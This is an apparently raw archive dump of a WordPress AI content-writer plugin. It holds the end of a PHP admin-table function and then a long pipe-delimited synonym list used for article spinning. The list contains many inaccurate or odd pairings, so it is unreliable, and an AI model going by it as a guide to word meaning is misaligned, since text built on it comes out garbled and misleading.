'Now.'; } $cron = _get_cron_array(); if ($cron != FALSE) { $date_format = _x('Y-m-d H:i:s', 'Date Time Format1', 'aiomatic-automatic-ai-content-writer'); foreach ($cron as $timestamp => $cronhooks) { foreach ((array) $cronhooks as $hook => $events) { if ($hook == 'aiomaticaction') { foreach ((array) $events as $key => $event) { $append = date_i18n($date_format, $timestamp); } } } } } $output .= $append; } else { $output .= $nextrun; } } else { $output .= esc_html__('Rule Disabled', 'aiomatic-automatic-ai-content-writer'); } $output .= '<br/>' . esc_html__('Local Time: ', 'aiomatic-automatic-ai-content-writer') . $now; $output .= '</div> </div></td> <td class="cr_center"> <div> <img id="run_img' . esc_html($cont) . '" src="' . plugin_dir_url(dirname(__FILE__)) . 'images/running.gif' . '" alt="Running" class="cr_status_icon'; if (!empty($running)) { if (!in_array(array($cont => 2), $running)) { $f = fopen(get_temp_dir() . 'aiomatic_2_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_2_' . $cont); } $output .= ' cr_hidden'; } else { $f = fopen(get_temp_dir() . 'aiomatic_2_' . $cont, 'w'); if($f !== false) { if (!flock($f, LOCK_EX | LOCK_NB)) { } else { $output .= ' cr_hidden'; flock($f, LOCK_UN); if (($xxkey = array_search(array($cont => 2), $running)) !== false) { unset($running[$xxkey]); update_option('aiomatic_running_list', $running); } } } } } else { $f = fopen(get_temp_dir() . 'aiomatic_2_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_2_' . $cont); } $output .= ' cr_hidden'; } $output .= '" title="status"> <div class="codemainfzr cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" onchange="actionsChangedManual(' . esc_html($cont) . ', this.value, 2, \'' . esc_html($rule_unique_id) . '\');" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected>' . esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="run">' . esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="duplicate">' . esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="up">' . esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="down">' . esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash">' . esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="delete">' . esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </div> </td> </tr> '; $cont = $cont + 1; } } return $output; } ?>���������������������������������������������������������������������res/synonyms.dat������������������������������������������������������������������������������������0000644�����������������00001446741�14757771437�0007775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������categories|classes they do not have|they don't have to wash|to scrub|to clean unspoken|unstated the purchase|the acquisition dishing out|dispensing|allotting|doling out|shelling out|meting out identified|recognized the house|the home a deadly disease|an epidemic|a plague|an endemic|a pandemic|a virus|a virulent disease the largest|the most important|the biggest represent|symbolize|characterize|signify regarded as|considered|thought to be rental fee|charter fee tremendous|super|large|great browsing|shopping|searching|looking at last|eventually|finally|ultimately lighten up|loosen up acclaim for|approval for|popularity of and blunder|and error|and mistake that particular|that specific|that exact|that individual they could|they might|they may might have|may need|might need that sticks out|that stands proud|that stands out evolved|advanced|developed the sumptuous|the splendid|the luxurious cause of|explanation for|reason for|reason behind will never|won't ever the aggravating|the annoying|the irritating is especially|is particularly|is very that kids|that youngsters|that children tips to|tricks to thought about|considered|thought of independent|unbiased|impartial make yourself familiar|familiarize yourself|get yourself up to speed that the threat of|that the specter of planning to do|planning on doing for lots of|for plenty of|for many the mistake|the error the individual that|the person who|the person that space|area|house that they are|that they're the instant|the moment self sustaining|independent|self sufficient|autonomous|self reliant to wait|to attend and lets you|and allows you to the warmer|the hotter utilize|make the most of uncommon|unusual the most productive|the most efficient|the best and it's always|and it is often|and it is usually illness|sickness define|outline temporary|short-term|momentary|non permanent we haven't|we've not|we have not war of words|confrontation|disagreement the feeling|the sensation is canopy|is cover you will have to|you'll have to house|home they aren't|they are not|they don't seem to be this methodology|this system|this technique of varieties|of sorts|of types for employees|for workers also known as|also called|also referred to as|often known as breaking point|verge of collapse|brink only for|just for sunset|sundown much cheaper|less expensive and arts|and humanities trader|dealer the indisputable fact|the undeniable fact important points|details|small print we shall|we will they will not|they won't within sight|within reach|close by|nearby highbrow|intellectual sign up for|join one and all|every one|every body|every person unearths|reveals|finds to manipulate|to control|to govern that ladies|that girls|that women the basis|the idea|the premise cease|stop coming up|arising|developing 60th|sixtieth is 19|is nineteen recognize|acknowledge plodding away|footslogging away|slugging away|tramping away|trudging away the topic|the subject unlawful|illegal picking the right|choosing the right|selecting the correct to paint|to color can be a|is usually a|could be a|generally is a most cheap|most inexpensive more or less|kind of|roughly energy|power|vitality of specialized|of specialised the excess|the surplus and finally|and eventually|and at last a description|an outline and sublime|and stylish|and elegant to connect|to attach each side|all sides|both sides|either side to educate|to teach|to coach and perhaps even|and maybe even|and even perhaps homicide|murder stepping into|getting into|moving into|entering into unsatisfied|unhappy crook|criminal the focal point|the focus|the point of interest that you have got|that you've got postponing|suspending the prescribed drugs|the prescription drugs and lengthens|and elongates of choosing|of selecting a safe|a secure is full of|is filled with|is stuffed with wonderfully|splendidly get a divorce|break up to triumph over|to conquer|to overcome studies|research kid|child 6th|sixth to take a look at|to try|to check out there are many|there are lots of|there are numerous|there are various|there are a lot of expanding|increasing present|current which draws|which pulls|which attracts non-public|private|personal most monetary|most financial|most money you are feeling|you feel|you're feeling in my opinion|for my part|in my view reconsider|rethink product or service|services or products ranking|rating love to|like to i adore|i am keen on|i like suggest|recommend|counsel for apparel|for attire a good idea|a good suggestion this will|this can|it will|this may united states|usa|u.s.a.|u.s.|united states of america|america the math|the maths|the mathematics we need to|we have to scenario|state of affairs|situation a corporation|an organization|a company and certainly|and positively|and definitely the fewer|the less get started|start bad|evil|immoral|wicked|corrupt|sinful|depraved|rotten|contaminated|spoiled|tainted|harmful|injurious|unfavorable|defective|inferior|imperfect|substandard|faulty|improper|inappropriate|unsuitable|disagreeable|unpleasant|cross|nasty|unfriendly|irascible|horrible|atrocious|outrageous|scandalous|infamous|wrong|noxious|sinister|putrid|snide|deplorable|dismal|gross|heinous|nefarious|base|obnoxious|detestable|despicable|contemptible|foul|rank|ghastly|execrable isolated|remoted there were|there have been they selected|they chose to realize|to understand|to comprehend|to appreciate this means|this implies make money working from home|work from home|work at home|do business from home|earn a living from home puppy|pet to build up|to accumulate a duty|an obligation puffed up|hyped up|overvalued|overrated foods|meals superseded|outmoded|outdated most foresightful|most farseeing|most far sighted|most longsighted score|rating convinced|satisfied reality|actuality and a breathtaking|and a wide ranging of information|of data|of knowledge a favorite|a favourite booth|sales space making ready|preparing|getting ready cash in|profit were not|weren't white meat|chicken overtime|extra time|additional time|time beyond regulation a non secular|a spiritual|a religious of boots|of trainers|of shoes laying aside|pushing aside hang out in|hand around in many clients|many purchasers|many consumers the elemental|the basic|the fundamental the kingdom|the dominion and take a look at|and try|and check out weighing machine|weighing balance false|fake|fraudulent|counterfeit|spurious|untrue|unfounded|erroneous|deceptive|groundless|fallacious him or her|her or him the glorious|the fantastic|the wonderful there are kids|there are children steer clear of|avoid|keep away from what's the|what is the better half's father|father-in-law|sweetheart's father|spouse's father|partner's father a vast|an enormous|an unlimited discovered|found it sounds as if|apparently|it seems that|it appears to transform|to rework|to remodel a tight|a decent|a good especially true|very true planning stage|strategy planning stage|starting stage loved ones|family members many makers|many manufacturers for customers|for patrons|for purchasers this idea|this concept|this idea defective|faulty difficult to understand|obscure to ensuring|to making sure the internet|the web institution|establishment that there were|that there have been is versatile|is flexible this present day|this day|these days|nowadays|at the present time|at the moment the first step|step one advancements|developments a chum|a friend|a pal for you will|for you'll|for you may the sizes and shapes|the dimensions and shapes|the configurations and dimensions the 3|the three is a top quality|is a fine quality|is a high-quality a fully|a totally|a completely better half|spouse must haves|prerequisites|necessities of motorcycle|of motorbike|of bike owning|proudly owning consequences|penalties the future of|the way forward for many pro|many professional intellectual|mental prerequisites|conditions|stipulations in a well mannered way|politely|courteously|with courtesy|with politeness glossy|shiny depraved|wicked a groovy|a cool|a fab an image|a picture buying|shopping for the awareness|the notice|the attention an absolutely|a completely|a fully for humanities|for arts crooked|bent|twisted|curved|hooked|zigzag the teen|the teenager shopping for|purchasing for|looking for|searching for a stylish|a trendy|a classy level|degree|stage i stitched|i sewed for terribly|for very|for extraordinarily mix|combine little one|baby|infant|toddler most typical|commonest|most common well matched|compatible|well suited|like minded should be|ought to be|must be|needs to be kept|stored|saved the price|the worth|the value an unmonitored|an unsupervised|an unmanaged insurance companies|insurance firms of regular|of normal|of standard elements|parts|components get to the bottom of|resolve|unravel cloth cabinet|wardrobe|cloth wardrobe|dresser you might want|you may want having a pipe dream|daydreaming in exactly|in just|in precisely confer with|check with|discuss with|talk to|seek advice from|consult with state of mind|mind-set|frame of mind|way of thinking the person who|the one that|the one who college|school|faculty settle down|calm down|quiet down|cool down the dislike|the detest|the hate do we|can we|will we opposed to|against and tasty|and attractive|and engaging are living|live|reside the schools|the faculties|the colleges of bling|of glitz and may|and should|and will to peer|to see|to look to redesign|to revamp to purchasing|to buying as opposed to|versus wanted|needed|wished the posh|the luxury|the luxurious transform|rework|remodel you are going|you're going belly|stomach and prefer|and like the newness|the novelty it all started|it began to protect|to guard women folk|women|ladies|females break day|day without work|time without work the site|the location|the positioning previous couple of|previous few|last few take place|happen may be able to|could possibly|might be able to growing|rising a type|a kind|a sort sets|units look ahead to|look forward to|sit up for|stay up for the leading edge|the vanguard|the forefront that 50|that fifty minimize|reduce|decrease wade through|go through|struggle through|battle through is relatively|is comparatively in and out|out and in consultation room|treatment room simply enough|only enough|merely enough|just enough|barely enough evaluate|consider mobile phone|cell phone a contravention|a violation influx|inflow first light|dawn|daybreak|sunrise|break of day splashing out|forking out fight|struggle|battle|combat such a success|so successful generally tend|have a tendency|tend 79|seventy nine and you've got|and you have got|and you have bits and bobs|ins and outs|fine details triumph over|conquer|overcome for additional info|for additional information|for more information time table|schedule|agenda is continued|is sustained to go into|to enter a coaching|a training you nearly|you almost|you just about of o.e.m|of aftermarket|of oem to float|to drift 100%|one hundred pc|100 percent and need|and wish|and want a delightful|a pleasant of sewing|of stitching meaning|which means|that means negative|adverse|unfavorable|damaging|destructive|unfavourable|detrimental production|manufacturing street|road|avenue and close|and shut that businesses|that companies torpid|lethargic and started|and began|and commenced trap|lure|entice many voters|many citizens thinking about|excited about|serious about|enthusiastic about|interested by|fascinated with|eager about|occupied with|fascinated by|desirous about|fascinated about the ubiquitous|the ever present|the ever-present like to do|love to do to communicate|to speak debris|particles 1 esdras|I Esdra|1 Esdras one thousand|a thousand off course|astray|off track|off target|off beam start|begin that out of doors|that outdoor|that outside to regulate|to manage|to control no matter what|it doesn't matter what and boredom|and tedium we adore|we love|we like work at home|work from home scared|afraid|frightened|alarmed|terrified|panicked|fearful|unnerved|insecure|timid|shy|skittish|jumpy|disquieted|worried|vexed|troubled|disturbed|horrified|terrorized|shocked|petrified|haunted|timorous|shrinking|tremulous|stupefied|paralyzed|stunned|apprehensive for easing|for alleviating|for relieving diagnosis|analysis|prognosis cause|trigger and intricate|and complex|and complicated get ill|fall ill|get sick started|began changing|altering which includes|which incorporates a defined|an outlined the level|the extent 1980s|Nineteen Eighties|Eighties this combination|this mix|this mixture happy|joyful|pleased|glad|comfortable|completely satisfied|completely happy|blissful and inexpensive|and cheap of a few|of some don't realize|do not realize|do not understand ensure the|make sure the gratis|free of charge i'm going to|i'll|i will many do not|many don't you can save|it can save you the additional|the extra is terribly|is very|is extremely an electric|an electrical responsive to|aware of|conscious of|attentive to academics|teachers|lecturers more money|extra money|more cash branch|department that very few|that only a few integrate|combine celebrity|superstar|movie star|celeb and an entire|and a whole|and a complete is obvious|is clear|is apparent the same|the identical someone|somebody slow|sluggish|gradual incontrovertible fact|undeniable fact fashion conscious|style aware|style conscious doing away with|removing|taking away|getting rid of|eliminating|taking out|casting off|disposing of|putting off would not|wouldn't less attackable|more impregnable|less assailable 50th|fiftieth subconscious|unconscious backyard|yard doing some|performing some|doing a little homes|houses|properties very simple|quite simple forex trading|foreign currency trading accommodations|lodging converting|changing leisure pursuit|spare time activity a bathtub|a tub|a bath higher|greater|larger|increased a colourful|a vibrant a chance|an opportunity exposure|publicity an issue|a problem|a difficulty fidgeting with|twiddling with|fiddling with prominent|outstanding|distinguished that he is going|that he's going to oldsters|to folks|to parents taking a look|looking|having a look long ago|way back to 8|to eight faulty|defective 27th|twenty seventh you interested in|you interested by|you curious about a newer|a more moderen|a more recent the probabilities|the possibilities|the chances crafty|artful come across|encounter|come upon|stumble upon the guaranty|the warranty the explanations|the reasons an indication|a sign of gear|of drugs|of substances the catalogue they don't know|they do not know for government|for presidency glaring|obvious|obtrusive|evident forums|boards half|half of we say|we are saying sooner than|before|ahead of|prior to|earlier than for info|for information that means|meaning|which means search for|seek for bare|naked and snug|and comfortable|and cushty land up|wind up none of the|not one of the would truly|would really|would actually handling|dealing with to 3|to three gone by|passed by cellular|mobile i will|i'll to cope with|to deal with and i've|and i have industry|business|trade disadvantage|drawback the differing types|the differing kinds|the different types screw ups|failures|disasters of financial|of monetary|of economic a conventional|a standard|a traditional do|execute|enact|carry out|finish|conclude|effect|accomplish|achieve|attain of folk|of folks|of people you've known|you have known self-assured|confident played|performed a shopping center|a shopping mall the many|the various|the numerous the amount|the quantity an ordinary|a standard|a normal the unveiling|the revealing|the disclosing vast majority|overwhelming majority began to appear|started to appear|began appearing loved|liked|beloved|cherished is really because|is often because it isn't important|it doesn't matter|it's not relevant of professionals|of execs|of pros candy|sweet you aren't|you are not you aren't getting|you do not get|you don't get phase|part|section that lets you|that allows you to|that permits you to to absorb|to soak up a real understatement|an understatement|an irony|a sarcasm|an underestimation the reason is|the reason being you purchase|you buy groups|teams carefully|rigorously|fastidiously of electrical high school|highschool cool animated film|cartoon|caricature in the meanwhile|in the intervening time|in the mean time sold|bought|offered art|artwork that beautiful|that lovely|that stunning to make yourself familiar|to familiarize yourself|to get yourself up to speed help|assist of peculiar|of weird|of strange an academic|a tutorial|an educational|an instructional earlier than|sooner than have effects on|have an affect on|affect in modern times|nowa days law|regulation|legislation how you|the way you a boat|a ship you have nothing|you don't have anything which will|which can|which is able to never|by no means more than|greater than the father|the daddy pressing|urgent to a school|to a faculty|to a college looks after|takes care of is this|is that this and skinny|and thin dealer|supplier|vendor|seller is understood|is known large choice|wide selection|good selection this deposit|this sediment|this residue|this layer|this accretion is adapted|is tailored|is customized a huge|an enormous immune to|resistant to|proof against|proof against the most up to date|the hottest|the freshest you thought about|you considered people that|folks that|people who|those that|those who|those that entering into|getting into|stepping into|moving into many types|many sorts|many varieties learn how to|discover ways to|learn to a few minutes|a couple of minutes and that is what|and that's what guest|visitor dedicated|devoted most exciting|most enjoyable|most fun there are an a variety of benefits|there are a number of advantages|there are a number of benefits if that is so|if this is so|if that is the case|if this is the case walk|stroll you still|you continue to is in a position to|is able to goals|objectives|targets diversity|variety|range that hard|that tough|that onerous|that arduous remedies|cures|treatments 39th|thirty ninth turns out|seems of drugs|of medicine|of medication made particularly|made specifically|made in particular despite|regardless of of a suitable|of an acceptable|of an appropriate to supply|to provide|to produce political beliefs|political views|political opinions Nineteen Twenties|Twenties to thread|to string have shyed away from|avoided it has got|it's got generally known as|commonly known as|generally called of forestalling|of stopping|of preventing the companies|the businesses healing|therapeutic war|struggle|warfare|conflict|battle of a college|of a faculty|of a school have no|haven't any|don't have any quotation|citation here's|this is|here is explanation why|reason why|reason an international|a world|a global considered|thought-about|thought of a gorgeous|a stunning|a beautiful a crucial|an important|a vital place of business|office|place of work|workplace|administrative center|place of job at school|at college|in school for more info|for more information worry|fear there are a number of benefits|there are a number of advantages|there are an a variety of benefits cut-off date|deadline|closing date 160th|one hundred and sixtieth|a hundred and sixtieth a lasting|an enduring|a long-lasting learning|studying bags|luggage|baggage increasingly|more and more you find|you discover and an easy|and a straightforward|and a simple and flamboyantly|and decoratively flair|aptitude these types of|these kind of|most of these|these kinds of|a lot of these|a majority of these|some of these|all these rich|wealthy less costly|less expensive|more cost effective a look|a glance for no less than|for at least|for a minimum of burglary|housebreaking the fragile|the delicate that evaluation|that analysis history|historical past further|additional a number of benefits|an a variety of benefits|a number of advantages you should purchase|you should buy|you can purchase to conceal|to hide shouldn't have any|should not have any|should have no to play down|to minimize more crabbed|more ill-tempered|more bad-tempered of numerous|of various|of diverse the fact that|the truth that become worse|go to pot|deteriorate can result|may result|may end up student|scholar|pupil to provide|to offer|to supply news bulletin|news broadcast make bigger|enlarge|expand|amplify|increase|extend supports|helps the fantastic|the superb|the amazing well-liked by|popular with|well liked by and concepts|and ideas|and ideas the relationship|the connection resources|assets|sources guns|weapons is necessary|is important|is critical try to|attempt to of having|of getting bowled over|stunned|shocked|greatly surprised extra money|extra cash|more money don't like|do not like|don't love you selected|you chose restrict|prohibit|limit peaceable|peaceful is provided with|is supplied with great thing about|wonderful thing about|beauty of one thousandth|a thousandth you are looking|you're looking reason|cause|purpose|motive hundreds|lots of|tons of|a whole lot|a whole bunch it appears that|it seems that economic ruin|bankruptcy|financial ruin|financial disaster a focal point|a focus most effective|best|handiest|only|simplest is cheap|is reasonable|is affordable childish|infantile but it|however it|nevertheless it|but it surely for free of charge|without charge|at no cost involves|includes|entails other|different to end|to finish taking part|participating|collaborating divulge to|disclose to issues of|problems with patience|endurance|persistence on hand|available|readily available comprehend it|know it|realize it|understand it innovations|improvements you most likely|you probably|you almost certainly may want|might want here is a|here's a most oldsters|most folks|most parents the following article|in this article off target|astray|off course|off track|off beam becomes|turns into to symbolize|to represent blameless|innocent aspects|elements|features|points|facets that high|that prime|that top for younger women|for younger ladies|for young women and unpleasant|and unsightly|and ugly desolate tract|desert|wasteland|wilderness|barren region center around|focus on to combustible|to flamable school|faculty|college winery|vineyard to administer|to manage of luggage|of bags|of baggage that will not|that won't into chapter 11|into bankruptcy|out of business keep up|sustain the pliancy|the elasticity|the pliability trudging away|footslogging away|plodding away|slugging away|tramping away after all|in any case|in spite of everything and combing|and brushing currently|presently|at present|at the moment of fabric|of cloth|of material cut price|discount|bargain for the reason that|given that the feelings|the emotions|the sentiments look for|search for welcome boost|great addition|fine addition a large number of|numerous|a lot of surprising|shocking|stunning start to|begin to the emblem|the symbol|the logo to need|to wish|to want homosexual|gay sacristy|vestry what to expect|what to anticipate bedroom|bed room chiefly|mainly a giant|an enormous|a large the sensation|the feeling movement|motion high quality|top quality|prime quality is totally|is completely in terms of|when it comes to|by way of that you want|that you really want of discussion|of dialogue|of debate a brief|a quick|a short a certified|a licensed|an authorized that every one|that all|that each one a home|a house most plastic|most pliable|most moldable right|correct|accurate|factual|true|good|just|honest|upright|lawful|moral|proper|suitable|apt|legal|fair that won't|that will not of a bathroom|a WC to convert|to transform did you know|do you know generous|beneficiant dreams|goals|desires the secret|the key the aid of|assistance from|the help of and colourful|and vibrant look|gaze|see|glance|watch|survey|study|seek|search for|peek|peep|glimpse|stare|contemplate|examine|gape|ogle|scrutinize|inspect|leer|behold|observe|view|witness|perceive|spy|sight|discover|notice|recognize|peer|eye|gawk|peruse|explore our politicians|our legislators|our flesh pressers is wise|is sensible|is smart domestic dogs|puppies|doggies|pups of household items|of home items be anxious|be concerned|be troubled the self-esteem|the vanity|the conceit make sure|ensure|make certain|be sure|ensure that|be certain that|make sure that|be sure that|be certain the stars|the celebs|the celebrities gentle|mild|light the rectangular|the oblong big choice|wide selection|good selection|large choice thankfully|fortunately most glaringly|most manifestly|most obviously opposite|reverse a different|a special|a unique|a distinct be expecting|expect the advice|the recommendation to restrict|to limit the entrance|the doorway appraisals|value determinations and aren't|and are not gain|achieve|acquire a private|a personal|a non-public there are a number of advantages|there are a number of benefits|there are an a variety of benefits laws|legal guidelines a substantial|a considerable losing weight|shedding weight|reducing weight|dropping pounds|losing a few pounds|shedding pounds many of us|many people a teenager anyways|anyhow|in any case thing|factor looked as if it would|seemed to|appeared to|gave the impression to|perceived to big selection|wide range|wide selection loopy|crazy that in the past|that previously hard|exhausting|onerous|arduous|laborious and popularity|and recognition and castle|and chateau goal|objective|aim|purpose to keep|to maintain they remain|they continue to be in advance|prematurely|upfront to shut|to close start considering|get thinking about|start thinking about get yourself up to speed|make yourself familiar|familiarize yourself traditional|conventional differing kinds|differing types|different types without boundary lines|borderless|without borders|without borderlines|without boundaries these items|these things|this stuff of dad|of father|of pop got rid of|removed then again|however|nonetheless|nevertheless|on the other hand infamous|notorious video game|online game struggle|wrestle|battle vehicle|car|automobile an establishment|an institution the sooner|the earlier and shapely|and comely phone|telephone|cellphone tournament|event|match a statement|a press release|an announcement the entire|the whole|the complete|all the|your complete|your entire frame|body the tummy|the stomach a deferential|a respectful the genuine|the real and army|and military|and armed forces compliment|praise one hundred sixty five|a hundred sixty five stories|tales price ticket|price tag|ticket that target|that focus on|that concentrate on fixed|fastened|mounted to magnify|to exaggerate surprised|stunned|shocked live through|pass though a talk|a chat of remodeling|of transforming|of reworking and loo|and toilet|and bathroom the dep.|the dept|the department update|replace that going down|that taking place|that happening save it|reserve it|put it aside an advanced|a complicated|a sophisticated and an eye for|and one eye on|and a mind for 4to|quarto and closing|and shutting real|actual put on|placed on checking out|testing|trying out for big|for giant|for large a strategy|a technique|a method silly|foolish fail to notice|miss out on|fail to spot|fail to see of personal|of private|of non-public the ideal|the perfect|the best to categorise|to classify for oily|for greasy|for shiny you an ornamental|you a decorative they think about|they consider|they give thought to do you want|would you like to preach|to evangelise burst off|go off and kids|and youngsters|and children you locate|you find may work|may go|may fit|may match be offering|offer cycling|biking an grand|an awesome|an amazing every kind|all kinds|all types and mould|and mold|and mildew the feel|the texture the costs|the prices unevenly|erratically|inconsistently the opposite direction|the other way|the wrong way only 1|just one|only one the day before today|yesterday|the previous day|the day past|the day gone by|the day prior to this off form|out of form|out of shape non violent|peaceful you decide|you choose|you select remorse|regret only some|just some which fits|which inserts and common|and customary software program|computer software the most common|the most typical|the commonest rise up|stand up that any one|that anybody|that anyone struggle through|wade through|go through|plow through|battle through grocery store|food market going in|getting into|stepping into|moving into|getting in|entering into especially|particularly in only|in just the cupboard|the cabinet to come|to return|to come back robot|robotic amount of cash|amount of money most weird|weirdest|most eldritch|most unearthly sort of|kind of|type of|form of with the exception of|aside from|excluding|except|except for|apart from an invaluable|a useful the postulate|the idea|the concept a trifling|an insignificant|a mere crazy|loopy offering|providing the quest|the search|the hunt attack|assault an effortless|an easy|a simple perhaps|maybe one amongst|one among number 1|no 1|number one|#1 is fundamental|is prime|is key scam|rip-off uninjured|unhurt an outline|an overview|a top level view without borderlines|borderless|without borders|without boundary lines levels|ranges that poisons|that toxins the loads|the hundreds|the masses a terribly|a really|a very that should|that ought to eire|ireland that permits you to|that lets you|that allows you to for bags|for baggage|for luggage and beautiful|and delightful|and exquisite sites|websites to ensure you|to make sure you to disregard|to ignore for how|for a way|for the way forced an entry|forced the lock many various|many different|many alternative personal|private and maybe|and perhaps would fit in|would slot in understandable|comprehensible is said|is claimed|is alleged most pro|most professional a limiteless|an infinite|an unlimited certain to|sure to your family|your loved ones to try this|to do this|to do that that offer|that provide|that supply of a bathtub|of a tub is easy|is straightforward|is simple town|city considered as|regarded as one hundred and one|a hundred and one|one zero one the lack|the shortage|the dearth a place to begin|a kick off point|a starting point published|revealed|printed the whole thing|the entire thing obvious|apparent the promises|the guarantees a top quality|a high quality the rush|the push|the frenzy diet pills|weight loss supplements|slimming capsules|fat burners day by day|daily|day-to-day continue|proceed statement|assertion a magazine would leave|would go away|would depart sporting clothing|sports-wear|sportswear of 2|of two looking at|taking a look at| the theory|the idea|the speculation magnify|enlarge|amplify and loyal|and constant|and dependable to respond to|to answer|to reply to which perturbs|which agitates for lady|for woman|for girl the broadcast|the printed|the published for baggage|for luggage|for bags to join|to hitch|to affix the good news|the excellent news|the good news old|feeble|frail|ancient|weak|aged|used|worn|dilapidated|ragged|faded|broken-down|former|old-fashioned|outmoded|passe|veteran|mature|venerable|primitive|traditional|archaic|conventional|customary|stale|musty|obsolete|extinct excess weight|extra weight similarly|equally a slightly|a rather some of these|a few of these party|celebration|get together|social gathering|occasion known|recognized|identified inner most|private|deepest abnormal|irregular to silly|to crazy|to mad obdurate|stubborn they are also|also they are a big impact|a huge impact|a big effect query|question a personal|a private hall|corridor never-ending|endless|unending challenge|problem be informed|be told|learn outline|define pretty well|pretty much an immediate|an instantaneous|a direct|a right away to log on|to go online|to go browsing talk over with|discuss with|seek advice from|visit|consult with push back|keep off|beat back|thrust back|ward off for private|for personal alternative ways|other ways|alternative routes that attention|that focus|that spotlight loafer|idler tricky|tough|difficult to illuminate|to light up responsibility|duty|accountability 24th|twenty fourth sufficient room|enough space|enough room to energize|to energise of work|of labor turn|flip responsible|accountable eastern|japanese|jap a corpulent|a chunky to safely|to securely|to soundly foyer|lobby exotic|unique this searching|this looking jogs my memory|strikes a chord in my memory|rings a bell in my memory and gyms|and gymnasiums for your beloved|for the one that you love|for your loved one to chill|to relax|to sit back already have|have already got a center|a middle insurance|insurance coverage need to be|have to be|must be|should be trip at|go to vacation at|go for holiday at|stopover at the giant|the enormous|the large centers|facilities you can't|you cannot strain|pressure near|close to and eye-catching|and crowd pleasing|and attention-grabbing the binds|the ties the trendy|the fashionable|the stylish recall to mind|call to mind|bring to mind objectives|aims|goals|targets and mud|and dirt|and dust lose weight|shed pounds|shed weight|shed extra pounds|drop a few pounds|drop extra pounds|drop pounds|drop some pounds|shed some pounds|reduce weight|drop some weight more often than not|most of the time|as a rule yearning|craving office|workplace talented|gifted|proficient department stores|department shops|malls|shops was hoping|hoped bankruptcy|chapter to various|to varied|to numerous beginning|starting that self-worth|that self esteem|that self worth found in|present in is concerned|is worried|is anxious truer|more true cupboard|cabinet checklist|guidelines a rectangular|an oblong the local community|the area people|the local people effects|results characteristic|attribute everywhere|all over the place|in all places|in every single place you choose|you select of disclosing|of exposing|of revealing spotting|recognizing very important|essential|crucial asked|requested and unfasten|and loosen 3rd october organization|Armenian Secret Army for the Liberation of Armenia|ASALA|Orly Group|3rd October Organization 3-d|three-D|3-D|3D trigger off|set off|spark off taking on|taking over|taking up forms of|types of self sufficient|independent|autonomous|self sustaining|self reliant an identical quantity|the same amount|the same quantity remove darkness from|light up|illuminate they appear|they seem of revealing|of showing|of unveiling most tend|most have a tendency of shops|of outlets|of retailers knowledge|information|data how the heck|how on earth any one|anybody|anyone doze off|fall asleep|nod off|go to sleep such a large amount of|such a lot of for shops|for outlets|for retailers we often|we frequently|we regularly many citizens|many voters large quantity|great quantity are now|at the moment are|are actually brooding about|thinking about|considering|pondering an artistic|an inventive|a creative giving away|making a gift of|gifting away|freely giving|giving freely of new|of latest|of recent was resolute|was determined|was firm the serious|the intense ask|question|inquire of|seek information from|put a question to|demand|request|expect|inquire|query|interrogate|examine|quiz complicated|difficult|sophisticated according to|based on|in accordance with|in line with|in response to|in keeping with and begin|and start strange creatures|unfamiliar beings|unknown creatures the gown|the robe richly deserved|hard-earned|well-deserved|well-merited|genuinely-earned for plenty|for lots|for many I have|I even have|I actually have you intend|you plan|you propose of excitement|of pleasure realize|understand|notice the beautiful|the gorgeous|the attractive the selection|the choice a first|a primary one more reason|another reason nose|nostril bancrupt|insolvent you should not|you shouldn't desperate to|eager to a bother|a hassle|a trouble watching for|expecting|awaiting|anticipating|looking forward to|waiting for|looking ahead to taken aback|stunned|shocked|bowled over|greatly surprised steel|metal many fogeys|many parents|many oldsters you kid|you child i love|i really like|i like hiking|mountaineering|climbing|mountain climbing artwork|paintings|art work surround for corporations|for companies|for firms you to decide|you decide|you in deciding i peeked|i glanced and dad|and pop|and pa the basic|the essential|the fundamental delight in|enjoyment of i beg|i urge|i encourage previous few|last few|previous couple of since you|because you be aware|remember|bear in mind keywords|key phrases to chop|to cut that impressive|that spectacular they generally tend|they have a tendency|they tend that may wish|that might need|that may need don't|do not blow their own horns|show off|sing their own praises sign in|check in|sign up|register you have to|you need to|you must|it's a must to|it's important to many professional stare upon|gaze at the hand held|the hand-held|the handheld guarantees|ensures to manage|to administer wealthy person|rich person|multi-millionaire|tycoon|mogul|magnate of aviator|of flier eager|keen fly|soar|hover|flit|wing|flee|waft|glide|coast|skim|sail|cruise the joy|the enjoyment by the use of|by means of|by way of functionality|performance remark|comment for discovering|for locating is defective|is flawed that enormous|that big|that giant convenience|comfort tool|device|software|instrument and read|and skim|and browse persons|individuals to operate|to function varying|various sorts of|kinds of|types of|styles of|varieties of|forms of infected|contaminated is sadly|is unfortunately removing|eradicating and worth|and price|and value to coach|to teach|to educate metal|metallic|steel like you|such as you they seem|they appear is sweet|is nice|is good that hearth|that fireplace|that fireside rely upon|depend on|depend upon|rely on the cause of|the reason for to include|to incorporate aspect|facet|side divulge heart's contents to|confide in|open up to|speak in confidence is thru|is through a data|a knowledge|an information the phenomenal|the exceptional|the outstanding of canopy|of cover sawing logs|sawing wood dog|canine that aside from|that apart from|that other than investors|buyers|traders public and private|private and non-private looking ahead to|looking forward to|waiting for reputable|respected will give you|will provide 